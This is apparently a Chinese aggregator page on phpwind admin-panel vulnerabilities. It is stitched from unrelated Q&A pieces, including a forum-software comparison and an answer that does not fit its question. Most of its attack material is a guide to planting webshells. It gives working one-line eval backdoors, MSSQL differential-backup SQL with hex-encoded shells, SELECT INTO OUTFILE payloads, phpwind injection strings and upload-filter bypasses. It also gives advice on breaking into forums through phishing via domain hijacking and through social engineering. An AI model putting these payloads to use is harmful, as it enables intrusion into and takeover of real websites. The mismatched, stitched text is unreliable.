本篇文章给大家谈谈phpwind后台漏洞，以及phpwind 漏洞对应的知识点，希望对各位有所帮助，不要忘了收藏本站喔。
本文目录一览：
- 1、phpwind和discuz哪个好
- 2、我买的是godaddy的Linux系统。。装了PHPWIND之后不管干什么都非法操作。。。为什么。。急啊
- 3、如何清除PHPWind论坛的转账记录呀？
- 4、php怎么通过黑客手段攻破论坛
- 5、php 后台万能密码
- 6、如何从后台得到webshell
1、phpwind和discuz哪个好
discuz!（简称dz）和phpwind（简称pw）是国内最著名的两个PHP论坛系统，随着它们相继宣布开源以后，在各方面，不管技术上，还是功能上，还是界面上，都有了长足的发展，声威大振，远非国外那些功能简单的电子公告板系统可比了。其造成的一个副作用是大大带动了PHP在国内的普及（本人就是在寻找合适的论坛程序的时候，才开始关注PHP，进而不能自拔的 ）。
客观的说，目前的pw和dz各有短长，其互相之间的激烈竞争应该说提高了PHP论坛的水平，在功能上不仅赶上了以功能多和漏洞多而著称的动网论坛，而且因为它们的效率和速度远远超过动网，弄的动网市场大大萎缩，原来的一些动网论坛都纷纷转换成了dz或者pw，搞的动网都不得不开始弄PHP论坛了。
要说他们哪个更好，是比较难的事情，毕竟各有短长，俺也不敢在这里妄下结论。不过从市场份额和网上的言论来看，目前dz还是略占上风的，而且去年国内好几个知名的大论坛都转换成了dz（比如凤凰网、牧文、tompda等），而pw在大网站方面收获甚小。
但是毕竟对好多新手来说，他们都要面临一个选择论坛程序的问题，因此，dz和pw哪个更好，也就成了经常被问的问题，这种没有答案的问题，自然要被反复问起。本文试图从比较深的层次来分析两个论坛的优劣，为新手提供选择的参考。如有错谬之处，欢迎批评指正。
一、界面篇
首先，从界面上说，从整体上说，dz的界面比较美观，整体感好。
pw的界面给人一种模仿dz的感觉。同时在界面的细节上，看起来pw还是没有dz完美。
二、技术篇
从技术上说，pw和dz都使用了文件方式的数据缓存技术，通过把常用的数据表，比如论坛版面设置参数、基本参数等，生成静态缓存文件（根据条件触发更新或者手动更新），来减少数据库读取次数，提高效率，在这个方面两者非常相似。
1、模版技术
从模版技术上说，dz从2.5f版就开始采用的这种静态模版技术，从俺个人角度上说，还是非常适合论坛这种频繁更新的网站程序使用的。它通过动态生成静态模版的方式，解决了模版解析效率的问题。
同时，dz的这种模版方式，使得修改界面也比较容易，很直观。
而pw使用echo语句的这种方式（姑且称其为模版），就寒碜多了，要增加了一个if判断条件，就要折腾半天。添加了混合PHP代码的模板，在 dreamweaver中也容易被误操作删除。特别是如果修改的时候稍有不慎，很可能会使网页成了白板（没有输出），让俺每次修改pw模版无不如履薄冰，战战兢兢。。。。恐怕这也是第三方模版中，dz远远多于pw的原因吧。
不过pw目前在模版上也在改进，现在看verycms 3.0就已经开始使用真正的模版技术，不过目前用的都还比较初级。。。
2、速度问题
从模版上看，两者的效率应该是差不多的，pw的模版其实就是直接包含的混合了PHP语句的一部分PHP文件，而dz的模版平时并不需要解析，所以效率应该是差不多的，但是网上总是有人声称网站使用dz的速度比pw慢，这方面本人没有测试过，不敢妄作评论。而且网站访问速度还是要受很多因素的影响，比如：本地网速、服务器带宽、心理。。。。。客观的评价还是很难的，除非使用专业技术手段。不过从官方网站的速度来看，明显还是pw占优啊，呵呵
最近看了一下dz的CSS文件，明显是用CSS用的有点过度了，在dz中大量使用了CSS，CSS文件高达16KB左右（pw只有2KB左右），可能造成了IE渲染网页的时候，效率比较低。同时，由于dz的CSS文件过于庞大，只好采用了外置的方式（Link）。
这样如果网速很慢，网页已经或者部分下载完，而CSS文件下载没完成（网速慢的时候，常常发生这种情况），那么网页根本就不能正常显示。
在网速慢的时候，光dz的CSS文件，就要用好几秒，甚至十几秒的时间才能下载，而整个网页只能在CSS下载完成以后才能进行正确的显示，这就无怪乎在网速慢的时候，dz表现大大逊色于pw了。
相反，pw在设计CSS的时候，明显是比较简洁，这对网页的渲染肯定是比较有利。同时，pw采用了把CSS文件嵌入的方式，尽管每次访问网页都造成了几K 个字节的流量，但是实际影响并不大，反而觉得网页打开速度比dz要快（这就是pw用了一个笨法子，却常常效果比dz强的典型案例）。
这方面，建议dz痛下决心简化过分臃肿的CSS文件，提高网页速度。
三、功能篇
下面俺就dz5.5和pw5.3的功能，做一个简单的，本人看来是比较深入，可能高手看来仍嫌浅显的分析，请大家指正：
1、登录方式：
pw的前台登录和后台登录采用了不同的Cookie方式，这样前后台分开的方式，个人感觉，有利于安全，也便于管理。后台帐号与前台帐号可以彻底分开。
而dz的前后台登录是用了一个帐号，尽管在进入后台的时候再次提示输入密码，不过还是不如pw方便。
比较特别的是，dz在注册的时候，要求输入提示问题（选填），而且在登录界面中，也有提示输入的界面，个人感觉，绝对的画蛇添足，无聊。如果说使用提示问题来找回密码，还是有点道理的。用提示问题的方式，让新手看了无所适从，脑袋都晕了
2、分栏显示：
pw从5.0.1开始支持左右分栏显示了，然而功能太简单，不能树状显示子板块，此功能与其说有，不如说没有，弄的有点搞笑，属于半成品（倒是也符合pw的一贯特点－－喜欢推出一些不完美的东西让大家修改）。
看了dz5.5的分栏显示，做的还是比较完美的，感觉相当不错了。
3、后台管理的效率：
pw的横向操作非常不错，大大节省了管理的难度，特别是在根据用户组设置权限的时候，非常的那个方便啊，这方面dz需要改进。
dz提供了一个方案的方式来解决后台重复操作问题，应该说也有一定道理，但是用起来不太容易上手，如果是设置一个单独的项目，就比较繁琐。
4、个人空间（文集）功能：
dz5.5内置了minispace个人空间功能，可以说自从discuz合并了supsite以后，在论坛功能的外展方面，占据了很大优势，吸引了很多个人网站的注意力。
这个minispace用dz官方的话说，是这样的：
“完全利用论坛原有资源，会员不必更多付出，即可拥有个性展示页面
与 X-Space 完美结合，可顺畅实现 MiniSpace 与 X-Space 自然过渡 ”
大体看了一下，发现这个minispace做的很不错，利用它，用户可以把自己的优秀帖子整理出来，形成一个文集的方式，方便别人访问。以前在别的论坛见过这个功能，觉得很不错，没想到dz把它整合进去了。这个功能已经可以满足大部分论坛的功能要求了，如果要求更高，比如希望能让用户发布b0客文章，按照官方的说法，也可以迁移到X－space中去。但更重要的是，minispace是开源的，而X－space的源代码并不开放。
说到X－space，我们觉得，pw在功能上虽然足以和dz匹敌，但是在论坛的外延上，却比dz落后了好多。X－space能实现以论坛为中心的个人空间功能，而pwblog（已经改名为Lxblog，正式版未推出，本文仅以5.1.5版本为例）却和论坛貌合神离，帖子推送功能虽然从4.3.2就有了，然而却一直不好用，4.x推送以后，图片和附件都不正常，5.1.5虽然可以推送正常了，然而在论坛中更新的帖子，在b0客中却不再出现回帖，可以说推送功能在pwblog中只是一个无用的点缀而已。
说到底，我们常常希望的只是一个论坛帖子文集功能的方式，pwblog把论坛中的内容重复推送到b0客中，既浪费空间，又没有意义，这方面dz远远胜过了 pw，值得表扬。但minispace的功能还是略显简单了些，比如没有文集帖子的分类功能、没有首页推荐帖子等等（也许论坛帖子的分类意义不大，不过有总比没有强吧？）
5、防灌水技术
pw5.3终于接受了俺提出的新手注册第N贴以前发帖使用验证码的方式，这样既不影响老用户的使用，又通过验证码方式来限制恶意灌水机器人。dz未提供此功能，但是具有可以设定第N贴以后不用自定义问答的功能（dz的验证码很烂，根本看不清，用自定义问答似乎更好一些）。
在防止自动注册方面，pw和dz都使用了自定义问答方式防止自动注册的办法，具体原理很简单，两者实现的都差不多。区别在于，dz要求设置10个以上的问题才能生效，而pw只能设置一个问题。另外，还有一个区别，就是pw可以自定义问答中内部使用的form变量名，可能在防止恶意自动注册方面，会更加有效一些。pw的自定义问题只能用于注册，而dz的可以用在注册、发帖和短消息等方面。
从目前的具体应用来看，用一个问题就基本上解决了自动注册的问题（长时间实践发现的结果），当然也不排除特大型网站，用一个问题容易被攻破的可能性，这方面dz可能就更有效一些。只是dz限制要求10个以上才能生效的做法，令人费解。
6、前台管理功能
pw具备副版主功能，不过和一般的思路不同，副版主是由版主任命的，这样恐怕会导致权限混乱问题，所以也很少有人用这个功能。
在前台的管理功能中，pw更方便一些，不仅的主题列表中能进行管理，在帖子内容页面中的管理方式比dz用下拉方式更直观一些。而且在一个主题里面删除帖子，pw比dz直观多了。
费解的是，pw5.3版本中移动帖子，都会在帖子前面加入移动提示“本帖被 xxxx 从 xxxx 移动到本区(xxxx年xx月xx日) ”，无法消除，真是难看极了（以前版本没有这个毛病）
dz实现了“沉贴”的功能，可以把那些偶尔被人翻上来的无用垃圾贴沉下去，确实方便多了。。。。有次俺在pw中为了沉一个帖子，不得不提前了N个帖子。而且dz的版主管理功能，加亮、精华等操作都能一气呵成，比pw方便好多。
7、所见即所得编辑器
dz5.5和pw5.3开始，不约而同的把所见即所得编辑器换成了ubbcode（两个论坛名称不一样，这里用个通俗一点的名称，暂称为UBBCode）方式的编辑器，而放弃了原来的HTML可视化编辑器。
说起来，这个ubbcode可视化编辑器确实解决了以前采用代码方式，无法可视化，导致好多非IT人士发帖无法控制格式；而和动网一样使用HTML方式，又产生大量冗余代码和安全性隐患的问题。
不过造成的后果却是，在转贴的时候，以前可以直接从别人的网页上，连图片带文字一起转过来，却是非常方便，虽然有盗链之嫌。换成了这种编辑器，再也没法那么方便了，因此在换了编辑器以后，官方论坛中是怨声载道一片。。。。而且新的编辑器还有好多小BUG，更加是引起了广泛不满（另注：用了一段DZ后发现，dz 5.3的所见即所得编辑器好像存在很多问题，几乎无法用，这方面可能还不如pw的编辑器好用一些）
8、附件上传和所见即所得功能：
pw的附件还是只能提交帖子上传以后才能进行图文混排，这方面dz要好的多，可以上传前就进行混排，方便多了
dz对不参与上传的图片附件还是显示太多信息，看起来影响美观（似乎是受vbb和phpbb的影响比较大）。而pw只是显示了“图片”字样和描述信息，但是更恶心的是，却把这些图片放到正文文字上方 ，真是屡教不改啊
9、附件防盗链技术的分析：
dz采用了隐藏图片地址，和检测访问来源（可选）的办法来防盗链，应该说服务器负担比较大，效果还行，但不能彻底解决问题。
pw用的办法更简单，但更有效一些：就是定期或者自动修改附件目录名，应该说这是一个投资少见效快的好办法，技术上也很简单。不过最新的pw5.3版本也引入了隐藏附件地址的方式，后台也似乎无法关闭此项功能，似乎有点画蛇添足的味道了。。。。
发现dz也可以在后台手工修改附件目录，也可以起到一定效果，只是没有自动修改的功能。
10、广告功能：
dz比pw要好一些，广告功能更完善一些。比如贴内广告，在帖子下面的位置类似动网的位置，看起来更整齐一些，而pw的位置就让帖子布局显得比较凌乱，不好看。dz的贴间广告可以插入大的Google Banner广告，或者其它图片形式的广告，展示效果很好。
相比dz，pw广告的插入位置更少一些，效果也差一些。
11、头像显示：
dz不能限制上传头像的长宽尺寸，只能限制总像素数，显得不够灵活，不如pw方便。而且超出了一定尺寸的头像，被自动缩放和拉伸了，看起来很难看。而且 dz还自动给头像加了一个边框，甚是恶心。可见dz把简单的事情给弄复杂化了，其实只要和pw一样，限制其尺寸，根本不需要拉伸。
12、附件尺寸限制：
pw只能设定所有附件的尺寸，而dz可以对个别格式的附件设定上传尺寸，比较灵活一些，特别适合一些flash网站，或者技术型网站（比如上传大尺寸图纸等）。
13、词语过滤：
pw只能使用普通方式过滤，不支持大小写（很简单的事情，官方就是不办，举手之劳啊）。
而dz不仅能识别大小写，而且具有了一定的模糊识别功能，相当不错了。当然，要是能直接支持正则表达式就更爽了。
14、自定义代码功能：
pw至今不支持自定义wincode代码，比较僵化。要增加功能，就只能修改js文件，太过麻烦。。。。
dz在这方面做的比较完美，要增加或者减少代码、修改播放界面尺寸都很容易，在后台设置一下就可以了
15、回收站功能：
dz可以设定自动清理，而pw不能
16、IP来源显示功能：
dz的IP地址和来源显示类似动网，看起来不太方便，需要点击小电脑图标才行。还是pw的IP地址来源显示看起来比较舒服一些。
17、防CC攻击：
pw早在4.3.2就增加了抗CC攻击功能，而且设置起来比较简单，新手也能看懂。当初俺就是因为这个原因才用了pw。
dz5.5虽然号称带有cc攻击防护，不过看起来比较难于理解，在后台找了半天也没找到，估计新手是操作不了的。当年某著名站长论坛（用dz）可就是被CC攻击搞的长期开不了张的，看起来dz的防CC攻击功能还有待改进。
18、备份功能
pw能支持对pw程序以外的数据表进行备份，而且判断标准不是根据表前缀。可以单独备份pw表以外的数据表，对于那些建立了新表的插件，备份数据超级容易，这方面比较人性化。
dz只是根据表前缀来进行备份，比如你设置一个表，叫做cdb_test，那么它会把它认为是论坛数据表而进行备份。但是如果你设置一个表，叫做test，那就自己想办法去吧。。。。
但是dz比pw强的是，备份可以压缩，压缩后下载和转存备份文件应该会节省巨大的空间和时间，对于超大型论坛应该是非常管用的。dz备份可以指定文件名，而且备份数据用十六进制表示（安全一些，但是占用空间会大一些），估计导入和恢复的中文内码问题就不会存在了。
另外，dz还可以备份MySQL Dump备份（不推荐使用）。
19、文件和数据库校验：
dz内置了文件和数据库校验的功能，pw只是官方提供了一个文件校验工具，不过用起来有点莫明其妙，有时候提示使用的函数在php文件中根本不存在
20、主题推荐和相关贴功能：
dz通过qihoo实现了相关贴的功能，而且还可以支持主题推荐，这方面比pw强了很多。
21、模版和风格设置
phpwind可以在后台设置风格CSS文件，虽然新手不太容易上手，但确实还是比较方便的。
dz更进一步，把css的内容给解释成了表单的形式，让新手也能操作，不过带来的缺点更加大了：如果你想在CSS中增加控制（比如调整行间距等），就不知道该怎么弄了，只好去修改模版。好在dz还提供了一个附加功能：在后台可以直接修改模版，而且编辑界面中还带搜索功能，总算是亡羊补牢了
dz以较大优势在功能上超过pw，而且在dz有些胜过pw的功能上，好多都是以较大优势取胜。
四、总结
总体来说，dz在功能上，界面上，技术上，论坛功能外延上，都胜过了pw。但pw也并非一无是处，其抗CC攻击功能，简洁快速的界面，强大的管理功能，独到的防盗链技术，都很有特色。所谓仁者见仁，智者见智，选择pw还是dz，仍然是一个个性化的问题，具体取决于你对他们的某项特点是否看重。
另外，感觉dz在浏览器兼容性上有点小问题，有时候会出现提示，什么从来路不明的什么东西提交信息，检查norton internet security配置之类的烦人问题，而且dz的验证码太恶心，根本看不明白，都赶上动网的烂验证码了，基本上没法用，只好关掉算完。
需要说明的是，如果是新手，需要选择论坛，还是建议选择dz，因为功能比较多，论坛的外延开发的比较好（supsite/X-space做的很不错），用起来方便一些，而且模版修改起来比较简单，容易上手。
pw只是适合老手，和对论坛外延功能不太感兴趣的那些人使用，而且pw的模版修改起来相当困难，稍有不慎就容易出错，对新手不合适。
PW适合娱乐站，速度快，功能多，官方集成各种插件，几乎不用维护
pw现有的功能=dz+银行+多附件上传+在线会员统计+特殊用户组添加+节日送礼
个人认为phpwind比较方便些,对于那些不想花时间装插件的人来说上手更容易。
2、我买的是godaddy的Linux系统。。装了PHPWIND之后不管干什么都非法操作。。。为什么。。急啊
你可以把域名发出来，我给你看下
如果域名在百度上发不出来，你可以把错误提示和域名一起用截图，然后发上来
我用godaddy很多年了，godaddy的主机，不管是windows还是linux都可以完美支持phpwind的
感觉应该是你安装的时候设置的有问题
是不是数据库地址输入错了？
3、如何清除PHPWind论坛的转账记录呀？
PHPWind 论坛系统 是一套采用 php+mysql 数据库 方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。 本漏洞影响phpwind所有版本 漏洞危害：高 漏洞说明：phpwind是国内使用非常广泛的一款程序，由于在程序设计上存在错误，导致任何人可以取得前台管理员及斑主权限，做删除帖子等任意操作 利用方式： 有提供exploit 漏洞分析：由于phpwind论坛在设计上对数据库存储机制不了解，导致在程序逻辑上判断有问题，用精心构造的数据注册用户即可获得管理权限 漏洞修补：建议关闭注册功能等待官方出补丁 不好意思，本人看了一下，可是不太明白哦，哈哈 ，参考资料：
希望采纳
4、php怎么通过黑客手段攻破论坛
现在的主流论坛一般都是两种 一种是dz 另外一种是phpwind
因为Dz的占比特别大，所以安全方面做得也是比较高，现在很难从系统本身找到漏洞了
但是这并不意味着一个人用DZ做论坛就是觉得安全的。那么既然无法从DZ本身入手，我们可以通过哪些途径入手呢？这里我给推荐几种方法。
从服务器入手，首先可以扫描C段，然后看下C段中有哪些可以被入侵的服务器。获得服务器权限之后，就可以通过内网渗透，钓到该服务器下的密码了。
通过域名劫持。劫持他的域名，然后仿照他的网站做一个钓鱼站，吧域名解析到你的钓鱼站上，坐等管理员输入账号跟密码。然后通过后台GetShell
社工——因为DZ现在是腾讯旗下的，然后后台账号会与QQ关联，如果你能获得站长的QQ可以有助于你得到管理员密码哦
望采纳。
5、php 后台万能密码
所谓万能密码是针对一种漏洞而言，如果人家把这个漏洞堵上就没用了，现在有点经验的程序员就不会犯这种错，PHPwind做为一个成熟的论坛程序是不会出现万能密码漏洞的
6、如何从后台得到webshell
注意：如何进入后台，不是本文讨论范围，其具体方法就不说了，靠大家去自己发挥。此文参考了前人的多方面的资料和信息，在此一并表示感谢。
一、直接上传获得webshell
这种对php和jsp的一些程序比较常见，MolyX BOARD就是其中一例，直接在心情图标管理上传.php类型，虽然没有提示，其实已经成功了，上传的文件url应该是
，前一阵子的联众游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。文件名是原来的文件名，bo-blog后台可以可以直接上传.php文件，上传的文件路径有提示。以及一年前十分流行的upfile.asp漏洞(动网5.0和6.0、早期的许多整站系统)，因过滤上传文件不严，导致用户可以直接上传webshell到网站任意可写目录中，从而拿到网站的管理员控制权限。
二、添加修改上传类型
现在很多的脚本程序上传模块不是只允许上传合法文件类型，而大多数的系统是允许添加上传类型，bbsxp后台可以添加asa asP类型，ewebeditor的后台也可添加asa类型,通过修改后我们可以直接上传asa后缀的webshell了,还有一种情况是过滤了.asp，可以添加.aspasp的文件类型来上传获得webshell。php系统的后台，我们可以添加.php.g1f的上传类型，这是php的一个特性,最后的哪个只要不是已知的文件类型即可，php会将php.g1f作为.php来正常运行,从而也可成功拿到shell。LeadBbs3.14后台获得webshell方法是：在上传类型中增加asp ，注意，asp后面是有个空格的，然后在前台上传ASP马，当然也要在后面加个空格！
三、利用后台管理功能写入webshell
上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有dvbbs6.0，还有leadbbs2.88等，直接在后台修改配置文件，写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是：添加一个新的友情链接，在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符，http:\\网站\inc\IncHtm\BoardLink.asp就是我们想要的shell。
四、利用后台管理向配置文件写webshell
利用"""":""//"等符号构造最小马写入程序的配置文件，joekoe论坛，某某同学录，沸腾展望新闻系统，COCOON Counter统计程序等等，还有很多php程序都可以，COCOON Counter统计程序举例，在管理邮箱处添上cnhacker@263.net":eval request(chr (35))//, 在配制文件中就是webmail="cnhacker@263.net\":eval request(chr(35))//"，还有一种方法就是写上 cnhacker@263.net"%＞＜%eval request(chr(35))%＞＜%'，这样就会形成前后对应，最小马也就运行了。＜%eval request(chr(35))%＞可以用lake2的eval发送端以及最新的2006 客户端来连，需要说明的是数据库插马时候要选前者。再如动易2005，到文章中心管理-顶部菜单设置-菜单其它特效，插入一句话马"%＞＜%execute request("l")%＞＜%'，保 存顶部栏目菜单参数设置成功后，我们就得到马地址http://网站/admin/rootclass_menu_config.asp。
五、利用后台数据库备份及恢复获得webshell
主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能，“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改 为asp，从而得到webshell，msssql版的程序就直接应用了access版的代码，导致sql版照样可以利用。还可以备份网站asp文件为其他后缀 如.txt文件，从而可以查看并获得网页源代码，并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候，但是有asp系统在运行，利用此方法来查看源代码来获得其数据库的位置，为数据库插马来创造机会，动网论坛就有一个ip地址的数据库，在后台的ip管理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法，很多asp程序在即使改了后缀名后也会提示文件非法，通过在.asp文件头加上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的，还有一种就是用记事本打开图片文件，随便粘贴一部分复制到asp木马文件头，修改gif后缀后上传也可以突破检测，然后备份为.asp文件，成功得到webshell。
六、利用数据库压缩功能
可以将数据的防下载失效从而使插入数据库的最小马成功运行，比较典型的就是loveyuki的L-BLOG，在友情添加的url出写上＜%eval request (chr(35))%＞, 提交后，在数据库操作中压缩数据库，可以成功压缩出.asp文件，用海洋的最小马的eval客户端连就得到一个webshell。
七、asp+mssql系统
这里需要提一点动网mssql版，但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片，然后记住其上传路径。写一个本地提交的表单，代码如下：
＜form action=http://网站/bbs/admin_data.asp?action=RestoreDataact=Restore method="post"＞
＜p＞已上传文件的位置：＜input name="Dbpath" type="text" size="80"＞＜/p＞
＜p＞要复制到的位置：＜input name="backpath" type="text" size="80"＞＜/p＞
＜p＞＜input type="submit" value="提交"＞＜/p＞ ＜/form＞
另存为.htm本地执行。把假图片上传路径填在“已上传文件的位置”那里，想要备份的WebShell的相对路径填写在“要复制到的位置”那里，提交就得到我们可爱的WebShell了，恢复代码和此类似，修改相关地方就可以了。没有遇到过后台执行mssql命令比较强大的asp程序后台，动网的数据库还原和备份是个摆设，不能执行sql命令备份webshell，只能执行一些简单的查询命令。可以利用mssql注入差异备份webshell，一般后台是显示了绝对路径，只要有了注入点基本上就可以差异备份成功。下面是差异备份的主要语句代码，利用动网7.0的注入漏洞可以用差异备份一个webshell，可以用利用上面提到的方法，将conn.asp文件备份成.txt文件而获得库名。
差异备份的主要代码：
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s--
;Drop table [heige];create table [dbo].[heige] ([cmd] [image])--
;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)--
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--
这段代码中，0x626273是要备份的库名bbs的十六进制，可以是其他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是＜%execute request("l")%＞的十六进制，是lp最小马；0x643A5C7765625C312E617370是d:\web\1.asp的十六进制,也就是你要备份的webshell路径。当然也可以用比较常见备份方式来获得webshell，唯一的不足就是备份后的文件过大，如果备份数据库中有防下载的的数据表，或者有错误的asp代码，备份出来的webshell就不会成功运行，利用差异备份是成功率比较高的方法，并且极大的减少备份文件的大小。
八、php+mysql系统
后台需要有mysql数据查询功能,我们就可以利用它执行SELECT ... INTO OUTFILE查询输出php文件，因为所有的数据是存放在mysql里的，所以我们可以通过正常手段把我们的webshell代码插入mysql在利用SELECT ... INTO OUTFILE语句导出shell。在mysql操作里输入select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile '路径’ 就可以获得了一个＜?eval($_POST[a]);?＞的最小马' 0x3C3F6576616C28245F504F53545B615D293B3F3E 是我们＜?eval($_POST[a]);?＞的十六进制，这种方法对phpmyadmin比较普遍，先利用phpmyadmin的路径泄露漏洞，比较典型的 是。
就可以暴出路径，php环境中比较容易暴出绝对路径：）。提一点的是遇到是mysql在win系统下路径应该这样写d:\\wwwroot\\a.php。下面的方法是比较常用的一个导出webshell的方法，也可以写个vbs添加系统管理员的脚本导出到启动文件夹，系统重起后就会添加一个管理员帐号
CREATE TABLE a(cmd text NOT NULL)
INSERT INTO a(cmd) VALUES('＜?fputs(fopen("./a.php","w"),"＜?eval(\$_POST[a]);?＞")?＞')
select cmd from a into outfile '路径/b.php'
DROP TABLE IF EXISTS a
访问b.php就会生成一个＜?eval($_POST[a]);?＞的最小马。
如果遇到可以执行php命令就简单多了,典型的代表是BO-BLOG,在后台的php命令框输入以下代码：
＜?
$sa = fopen("./up/saiy.php","w");
fwrite($sa,"＜?eval(\$_POST[a]);?"."＞");
fclose($sa);
?＞
就会在up目录下生成文件名为saiy.php内容为＜?eval($_POST[a]);?＞的最小php木马， 最后用lanker的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代码＜?fputs(fopen("./a.php","w"),"＜?eval(\$_POST[a]);?＞")?＞ 将会在当前目录生成一个a.php的最小马。
九、phpwind论坛从后台到webshell的三种方式
方式1 模板法
进入后台， 风格模版设置 ，在随便一行写代码，记住，这代码必须顶着左边行写，代码前面不可以有任何字符。
EOT;
eval($a);
print ＜＜＜EOT
而后得到一个shell为http://网站/bbs/index.php。
方始2 脏话过滤法
进入安全管理 ◇ 不良词语过滤。新增不良词语写 a’]=’aa’;eval($_POST[’a’]);//
替换为那里可以随意写，而后得到一个shell地址为http://网站/bbs/data/bbscache/wordsfb.php。
方式3 用户等级管理
新建立会员组，头衔你可以随便写，但是千万不要写单双引号特殊符号，升级图片号写a’;eval($_POST[’a’]);// ，升级点数依然可以随意写。而后得到一个shell地址为http://网站/bbs/data/bbscache/level.php。
以上三种方式得到webshellr的密码是a,为lanker的一句话后门服务端。
十、也可以利用网站访问计数系统记录来获得webshell
最明显的就是某私服程序内的阿江计数程序，可以通过http://网站/stat.asp?style=textreferer= 代码内容screenwidth=1024直接提交， 即可把代码内容直接插入到计数系统的数据库中，而此系统默认数据库为count#.asa，我们可以通过http://网站/count%23.asa访问得到webshell，由于阿江计数程序过滤了%和+，将最小马改成＜SCRIPT RUNAT=SERVER LANGUAGE=vbSCRIPT＞eval(Request("1"))＜/SCRIPT＞替换代码内容处提交，然后用lake2的eval客户端来提交，值得一提的是如果进到计数后台，可以清理某时某刻的数据，一旦插入asp木马失败，可以清理数据库再次操作。
phpwind后台漏洞的介绍就聊到这里吧，感谢你花时间阅读本站内容，更多关于phpwind 漏洞、phpwind后台漏洞的信息别忘了在本站进行查找喔。